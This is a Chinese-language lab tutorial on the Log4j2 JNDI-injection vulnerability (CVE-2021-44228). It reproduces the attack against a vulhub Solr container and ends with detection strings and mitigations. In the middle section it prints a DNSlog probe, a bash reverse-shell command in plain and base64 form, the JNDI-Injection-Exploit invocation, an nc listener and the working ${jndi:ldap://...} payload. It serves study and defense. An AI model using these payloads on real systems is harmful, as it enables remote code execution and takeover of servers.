漏洞原理及简介

一、log4j2简介

log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

二、JNDI简介

JNDI(Java Naming and Directory Interface)是一个应用程序设计的 API,一种标准的 Java 命名系统接口。JNDI 提供统一的客户端 API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录系统,使得 Java 应用程序可以和这些命名服务和目录服务之间进行交互。

上面较官方说法,通俗的说就是若程序定义了 JDNI 中的接口,则就可以通过该接口 API 访问系统的 命令服务目录服务,如下图:

协议

作用

LDAP

轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容

RMI

JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象

DNS

域名服务

CORBA

公共对象请求代理体系结构

三、log4j2远程代码执行漏洞原理

  • CVE漏洞编号:CVE-2021-44228

  • 受影响版本:Apache Log4j 2.x <= 2.14.1

漏洞名称

漏洞名称 Apache Log4j 代码问题漏洞

漏洞编号

CVE-2021-44228

危害等级

严重

CVSS评分

10

漏洞类型

代码问题

原理:

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。

攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

图解如下:

0x3 漏洞复现

一、环境搭建

靶机:Ubantu IP 192.168.103.161 (先要安装docker,然后下载vulhub) 启动vulhub里面的log4j环境

攻击机:kali IP 192.168.103.129

我们先进入/vulhub/log4j/CVE-2021-44228目录下,然后利用docker启动靶机环境

docker-compose up -d

查看靶机的端口情况,发现靶机的端口为8983

docker ps

访问我们的ubantu靶机的vulhub地址:192.168.103.162:8983/

二、利用DNS漏洞检测

用dnslog平台检测dns回显,看看有没有漏洞存在,网址为:DNSLog Platform

点击Get SubDomin获取一个子域名,我这里是ozuyfo.dnslog.cn

找到JNDI的注入点在/solr/admin/cores?action=${jndi:ldap://ozuyfo.dnslog.cn}其中ozuyfo.dnslog.cn是DNSlog的地址,用来检测是否有log4j漏洞的。

点击Refresh Record刷新平台,然后就会看到下面的回显,说明存在log4j漏洞

三、利用JNDI工具反弹shell

我们直接利用JNDI注入工具进行反弹shell的复现操作

JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具下载地址:

https://github.com/bkfish/Apache-Log4j-Learning/tree/main

反弹shell的命令:

bash -i >& /dev/tcp/192.168.103.129/1234 0>&1

这个反弹shell的命令在执行之前必须要base64编码一下,

Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

应用工具JNDI-Injection-Exploit搭建服务:格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "命令" -A "kali IP地址"

步骤如下

1、我们先在kali进行监听1234端口

┌──(root💀kali)-[~]└─# nc -lvnp 1234

2、执行EXP,生成可用的payload(这里建议在kali里面执行这个命令,因为我开始用windows本地没有反弹shell成功) 编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMy4xMjkvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.103.129"

可以看到,这里已经一键部署好了RMI和LDAP服务的站点,并给出了路径,其中JDK1.7和JDK1.8的都可以,并且rmi和ldap两个协议都可以进行JNDI注入测试,但是如果你了解了这个漏洞修复的时间以及版本,就会知道ldap的版本使用范围更具广,这就是为什么大多数人会用ldap测试的原因。

3、 最后一步就是构造payload了,由于是GET方式,浏览器访问以下任意一个url即可:

我这里就使用ldap协议进行演示反弹shell了,payload如下:

http://192.168.103.161:8983/solr/admin/cores?action=${jndi:ldap://192.168.103.129:1389/a1syrh}

可以看到我们的反弹shell执行成功了,

总结

如何排查log4j2漏洞?

检查日志中是否存在"jndi:ldap://"、"jndi:rmi//"等字符来发现可能的攻击行为,前面复现的过程在payload的构造中都出现了这样的字符串,这是攻击的典型标志。

其中像现在的话很多人不会直接利用rmi和ldap服务去检测攻击你的服务器,而是直接调用外面开始利用DNSlog检测,因为利用rmi和ldap会直接暴露自己的服务器的IP地址,所以对于"dns://"也要进行检测判断是否是攻击行为

如何对log4j2的攻击进行防御

1.设置log4j2.formatMsgNoLookups=True。相当于直接禁止lookup查询出栈,也就不可能请求到访问到远程的恶意站点。

2.对包含有"jndi:ldap://"、"jndi:rmi//"、"dns://"这样字符串的请求进行拦截,即拦截JNDI语句来防止JNDI注入。

3.对系统进行合理配置,禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络等等。

4.升级log4j2组件到新的安全的版本。

免责声明

本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。